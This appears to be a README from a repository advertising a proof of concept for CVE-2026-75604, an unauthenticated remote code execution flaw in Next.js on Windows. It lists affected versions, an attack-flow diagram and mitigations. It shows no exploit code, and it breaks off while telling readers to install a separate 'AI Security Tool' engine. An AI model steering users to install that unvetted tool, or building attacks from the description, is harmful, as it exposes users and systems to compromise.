ZeroDayEvil / CVE-2026-75604-PoC

🛡 AI Security Tool Module 
 CVE-2026-75604: Next.js Windows Unauthenticated RCE
 Official Security Audit Module for AI Security Tool Ecosystem 
 🌐 Web Demo • 
 📚 Project Website • 
 💬 Community Chat 
 Website Navigation: 
 Home •
 Updates •
 Downloads •
 Modules 
 🧠 Conceptual Overview 
 This module delivers advanced detection and technical validation for CVE-2026-75604 , an unauthenticated Remote Code Execution (RCE) vulnerability impacting vulnerable Next.js applications hosted on Windows .
 The exposure appears when multiple runtime conditions align: mixed Pages Router and App Router behavior, dynamic cache-backed routes, filesystem cache interactions, and a compatible closure-bound Server Action. Under this combination, remote attackers may chain request primitives into command execution paths.
 🎯 Core Impact Philosophy 
 "When route logic and cache logic intersect unsafely, unauthenticated RCE becomes practical." 
 CVE-2026-75604 is highly relevant for blue teams, red teams, CTF players, and DevSecOps engineers running production Next.js services on Windows servers.
 📊 Vulnerability Specifications 
 Specification 
 Assigned Value 
 Notes 
 CVE Identifier 
 CVE-2026-75604 
 Next.js Windows Unauthenticated RCE 
 Severity Rating 
 Critical 
 Remote exploitation under specific routing/cache conditions 
 Affected Stack 
 Next.js on Windows 
 Pages Router + App Router without Cache Components 
 Affected Versions 
 >=13.4 <15.5.24 or >=16.0 <16.3.3 
 Publicly validated scenario includes next@16.2.11 
 Attack Vector 
 Network 
 Unauthenticated remote request chain 
 Privileges Required 
 None 
 No prior authentication required 
 🕸 Attack Scenario & Architecture 
 graph TD
 A[Remote Attacker] -->|Crafted Requests| B[Vulnerable Next.js Windows Host]
 B -->|Pages/App Cache Interaction| C[State Manipulation]
 C -->|Server Action Abuse Chain| D[Command Execution Primitive]
 D -->|OS-level Execution| E[Remote Code Execution]
 🧪 Security Research Context 
 This AI Security Tool module converts advisory-level vulnerability knowledge into repeatable, auditable, and safe validation workflows suitable for controlled labs, enterprise security testing, and CTF training environments.
 🛡 Mitigation Checklist 
 🟢 Patch Immediately: Upgrade Next.js to fixed versions outside vulnerable ranges. 
 🟢 Audit Hybrid Routing: Review applications that combine Pages Router and App Router. 
 🟢 Harden Server Actions: Reduce action attack surface and validate unsafe action paths. 
 🟡 Review Cache Design: Reassess filesystem cache usage on dynamic routes. 
 💻 How to Run this Module 
 ⚠️ IMPORTANT: This module is designed for safe execution inside the AI Security Tool ecosystem only. 
 Even if the original PoC is written in Python, execution is performed from the AI Security Tool console in an isolated workflow.
 1️⃣ Install AI Security Tool 
 Install the core AI Security Tool engine before running the CVE-2026-75604 module: 
 OS / Platform 
 Version 
 Architecture / Format 
 Rele